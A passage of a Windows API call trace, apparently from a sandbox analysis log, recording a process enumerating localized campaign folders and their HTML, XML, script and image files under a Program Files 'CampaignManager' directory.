ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Picture2_80.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1 [0184.894] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrivacyContentWrapper.min.js", cAlternateFileName="PRIVAC~1.JS")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="script.min.js", cAlternateFileName="SCRIPT~1.JS")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style.min.css", cAlternateFileName="STYLEM~1.CSS")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_ltr.min.css", cAlternateFileName="STYLE_~1.CSS")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_rtl.min.css", cAlternateFileName="STYLE_~2.CSS")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Win10_Brand.png", cAlternateFileName="WIN10_~1.PNG")) returned 1 [0184.895] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 1 [0184.896] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 0 [0184.896] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.896] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0184.897] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.898] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.898] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.898] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.898] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.898] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.899] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.899] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.899] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0184.900] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.136] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0185.137] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0185.138] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.139] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0185.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0185.140] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.141] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.142] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0185.143] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.144] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, 